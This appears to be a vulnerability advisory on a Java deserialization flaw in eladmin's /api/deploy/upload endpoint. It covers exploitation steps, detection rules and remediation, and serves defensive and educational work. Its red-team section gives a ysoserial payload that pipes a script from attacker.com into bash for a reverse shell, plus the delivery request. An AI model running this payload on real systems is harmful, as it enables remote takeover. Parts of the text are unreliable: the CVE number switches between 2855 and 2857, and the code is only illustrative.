CVE-2025-2855

Executive Summary

CVE-2025-2855 is a critical deserialization vulnerability identified in the elunez eladmin application, affecting versions up to 2.7. The flaw resides in the checkFile function of the /api/deploy/upload endpoint, where manipulation of the servers argument can lead to remote code execution via insecure deserialization. This vulnerability is classified as problematic but carries a high potential impact due to the ability to execute arbitrary code on the server. No public proof-of-concept (PoC) or patch is currently available, making it a high-priority target for threat actors.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the eladmin Java-based backend. The risk is amplified if the application is deployed in a containerized or orchestrated environment, as exploitation could lead to lateral movement.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full data access possible.
• Integrity (I): High (H) – Full system modification possible.
• Availability (A): High (H) – Full system disruption possible.

CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization flaw in the checkFile function of the /api/deploy/upload endpoint. The servers parameter is passed to a deserialization routine without proper validation or sanitization. An attacker can craft a malicious serialized Java object (e.g., using ysoserial) that, when deserialized, triggers arbitrary code execution.

Attack Flow:

1. The attacker sends a POST request to /api/deploy/upload with a crafted servers parameter containing a serialized Java object.
2. The application deserializes the object without type checking.
3. The deserialization triggers a gadget chain (e.g., CommonsCollections) that executes system commands.
4. The attacker gains remote code execution on the server.

Root Cause: Lack of input validation and use of insecure deserialization methods (e.g., ObjectInputStream.readObject()).

Vulnerable vs. Patched Code

Vulnerable Code (eladmin <= 2.7):

// Vulnerable: Direct deserialization without validation
public void checkFile(String servers) {
    ByteArrayInputStream bis = new ByteArrayInputStream(Base64.getDecoder().decode(servers));
    ObjectInputStream ois = new ObjectInputStream(bis);
    Object obj = ois.readObject(); // Insecure deserialization
    // ... process obj
}

Patched Code (Hypothetical):

// Patched: Use a whitelist or safe deserialization
public void checkFile(String servers) {
    // Validate input format
    if (!isValidServerList(servers)) {
        throw new SecurityException("Invalid input");
    }
    // Use a safe deserialization library or JSON parsing
    List<Server> serverList = objectMapper.readValue(servers, new TypeReference<List<Server>>() {});
    // ... process serverList
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Java Runtime Environment (JRE) on the target.
• Access to the /api/deploy/upload endpoint.
• ysoserial tool for generating payloads.

Exploitation Steps:

1. Generate a malicious serialized object using ysoserial:

   java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/revshell.sh | bash' > payload.bin
   

2. Base64-encode the payload:

   base64 payload.bin > payload.b64
   

3. Send the exploit request:

   curl -X POST http://target.com/api/deploy/upload -d "servers=$(cat payload.b64)"
   

4. Receive reverse shell on attacker machine.

Alternative Payload: Use Runtime.exec for command execution.

Blue Team

Detection:

• Monitor for POST requests to /api/deploy/upload with unusually large servers parameters.
• Inspect network traffic for Base64-encoded serialized Java objects (starts with rO0AB).
• Deploy WAF rules to block requests containing rO0AB in the servers parameter.

Honeypot:

• Deploy a fake /api/deploy/upload endpoint that logs all requests and alerts on suspicious payloads.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/deploy/upload with servers parameter containing Base64-encoded data starting with rO0AB.
  • Outbound connections to unknown IPs on ports 80/443 or custom ports.
• File System:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., revshell.sh).
  • Modified Java class files in the application directory.
• Process:
  • Unusual Java processes executing shell commands.
  • curl, wget, or nc processes spawned by the Java application.

Detection Engineering

YARA Rule

rule CVE_2025_2857_Deserialization {
    meta:
        description = "Detects serialized Java objects in HTTP requests to eladmin deploy endpoint"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-2857"
    strings:
        $java_serial = "rO0AB"  // Base64-encoded Java serialization header
        $endpoint = "/api/deploy/upload"
    condition:
        $endpoint and $java_serial
}

Sigma Rule

title: CVE-2025-2857 - Java Deserialization Attempt on eladmin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit Java deserialization in eladmin deploy endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/api/deploy/upload*'
        cs-uri-query|contains: 'servers='
    filter:
        cs-uri-query|contains: 'rO0AB'
    condition: selection and filter
falsepositives:
    - Legitimate use of serialized objects (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2857 - Java Deserialization Attempt on eladmin"; flow:to_server; content:"POST"; http_method; content:"/api/deploy/upload"; http_uri; content:"servers="; http_client_body; content:"rO0AB"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network if possible.
2. Disable the /api/deploy/upload endpoint if not required.
3. Apply input validation to the servers parameter (e.g., reject Base64-encoded data).
4. Upgrade to a patched version once available (monitor eladmin GitHub releases).

Long-term Fixes:

• Replace Java deserialization with JSON/XML parsing.
• Implement a whitelist of allowed classes for deserialization.
• Use a Web Application Firewall (WAF) to block malicious payloads.
• Conduct a full security audit of the application.

Workaround:

• If patching is not possible, restrict access to the endpoint via firewall rules or authentication.

Valters IT